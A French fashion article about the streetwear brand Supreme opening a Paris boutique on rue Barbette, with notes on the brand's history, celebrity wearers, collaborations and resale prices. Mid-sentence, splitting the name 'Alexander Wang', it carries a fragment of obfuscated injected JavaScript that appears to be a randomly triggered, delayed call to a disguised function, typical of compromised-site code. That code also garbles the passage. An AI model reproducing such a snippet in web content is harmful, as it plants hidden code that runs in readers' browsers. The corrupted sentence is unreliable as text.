MODE Depuis le 9 mars, plus besoin de traquer fiévreusement les dernières arrivées sur l’e-shop de la marque streetwear américaine Supreme – chemises, tee-shirts et vestes qui ont pour habitude de se vendre en quelques heures. Une boutique parisienne a en effet ouvert ses portes rue Barbette, dans le Marais.
Portée fièrement par Kylie Jenner, Léa Seydoux et Kanye West, l’enseigne est l’une des preuves du mouvement de fond qui fait du street wear une composante essentielle de la mode.
Les collectifs Etudes Studio, Pigalle et Vêtements, les créateurs Alexandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ander Wang, Jeremy Scott, Riccardo Tisci (chez Givenchy), Kenzo et Jacquemus piochent tous dans les codes de la sape urbaine (sweats, tee-shirts, oversize, confort) pour séduire cette clientèle. Même Chanel a sorti un sac à dos, et Dior, des baskets – à strass, on reste dans le luxe.
Supreme, fondée à New York en 1994 par deux copains, James Jebbia et Louis Endomba, s’est d’abord construite autour d’un ADN très sport, masculin, skate et urbain. Mais ce sont ses égéries (Kate Moss, Chloé Sevigny, Kermit, Lady Gaga) et ses collaborations avec des poids lourds de la contre-culture – Larry Clark, Morrissey, Lou Reed, Neil Young ou Daniel Johnston – qui ont érigé la marque au rectangle rouge au rang d’incontournable.
Ainsi, les tee-shirts en édition limitée se trouvent rapidement revendus entre 150 et 400 € sur eBay, une fois épuisés sur leur shop (où ils étaient affichés aux alentours des 50 €).
Après Londres, Tokyo, Nagoya ou Osaka, l’ouverture d’une boutique physique à Paris permettra de se procurer un tee-shirt blanc sans doute fabriqué pour 3 € et revendu à 30 floqué du logo « Supreme ». Mais pour beaucoup, avoir l’impression de s’habiller comme Kate, Moz ou Kanye vaut bien ce petit sacrifice.
20 rue Barbette, 75003 Paris
www.supremenewyork.com